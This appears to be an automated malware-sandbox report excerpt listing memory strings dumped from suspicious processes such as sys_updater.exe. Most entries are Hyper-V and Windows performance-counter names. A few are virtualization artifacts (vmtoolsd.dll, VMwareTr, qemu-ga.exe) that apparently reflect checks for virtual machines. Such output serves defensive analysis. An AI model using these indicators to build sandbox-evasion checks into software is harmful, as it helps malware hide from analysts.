Source: sys_updater.exe, 0000001F.00000003.2836207562.0000020E47B63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: sys_updater.exe, 00000022.00000003.2930228516.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2935332753.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2925919889.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2934420769.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2935892757.00000237D3262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cac
Source: sys_updater.exe, 00000022.00000000.2519363810.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp	Binary or memory string: vmsrvc.eM1
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processordll
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid PartitionM
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipes86
Source: sys_updater.exe, 00000022.00000003.2927093740.00000237D309E000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2923163784.00000237D3099000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hyp
Source: sys_updater.exe, 00000022.00000003.2922988922.00000237D309F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table Allocations/sec5064Logical Processor Migrations/sec5066Address Space Evictions/sec5068Address Space Switches/sec5070Address Domain Flushes/sec5072Address Space Flushes/sec5074Global GVA Range Flushes/sec5076Local Flushed GVA Ranges/sec5078Page Table Evictions/sec5080Page Table Reclamations/sec5082Page Table Resets/sec5084Page Table Validations/sec
Source: sys_updater.exe, 00000022.00000000.2519363810.00007FF6712E1000.00000020.00000001.01000000.00000018.sdmp	Binary or memory string: VMwareTrM1
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root PartitionfUmk
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processort
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2152848590.00000234D4103000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2637181998.0000021E0170C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6242WorkflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O T
Source: explert.exe, 00000003.00000002.1679510345.000000000102E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.dllM
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V VM Vid Partitionll
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service`
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V qbqdsitfxsrfbfn Busv
Source: sys_updater.exe, 00000022.00000003.2893122685.00000237D30A6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flus
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor
Source: sys_updater.exe, 00000022.00000003.2893714166.00000237D3087000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: quence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table Allocations/sec5064Logical Processor Migrations/sec5066Address Space Evictions/sec5068Address Space Switc
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Hypervisor Root Partition
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V Hypervisor
Source: sys_updater.exe, 00000022.00000003.2930228516.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2935332753.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2925919889.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2934420769.00000237D3262000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2935892757.00000237D3262000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot con@@+
Source: MSBuild.exe, 0000000C.00000002.1842346912.0000000002F93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \qemu-ga.exe`,fq
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2139747550.00000234D400A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800M3
Source: sys_updater.exe, 00000022.00000003.2927093740.00000237D309A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: evice pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Costde i
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual ProcessorD
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration Service8{P!
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: JHyper-V Hypervisor Logical Processor:
Source: sys_updater.exe, 00000018.00000003.2636536344.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2649797077.0000021E03001000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2635893367.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2648769571.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2645299246.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2636092629.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2635568445.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2648562867.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2647420360.0000021E03058000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2637859660.0000021E03058000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: me3432WSMan Quota Statistics3434Total Requests/Second3436User Quota Violations/Second3438System Quota Violations/Second3440Active Shells3442Active Operations3444Active Users3446Process ID1914Hyper-V VM Vid Partition1916Physical Pages Allocated1918Preferred NUMA Node Index1920Remote Physical Pages1922ClientHandles1924CompressPackTimeInUs1926CompressUnpackTimeInUs1928CompressPackInputSizeInBytes1930CompressUnpackInputSizeInBytes1932CompressPackOutputSizeInBytes1934CompressUnpackOutputSizeInBytes1936CompressUnpackUncompressedInputSizeInBytes1938CompressPackDiscardedSizeInBytes1940CompressWorkspaceSizeInBytes1942CompressScratchPoolSizeInBytes1944CryptPackTimeInUs1946CryptUnpackTimeInUs1948CryptPackInputSizeInBytes1950CryptUnpackInputSizeInBytes1952CryptPackOutputSizeInBytes1954CryptUnpackOutputSizeInBytes1956CryptScratchPoolSizeInBytesgg
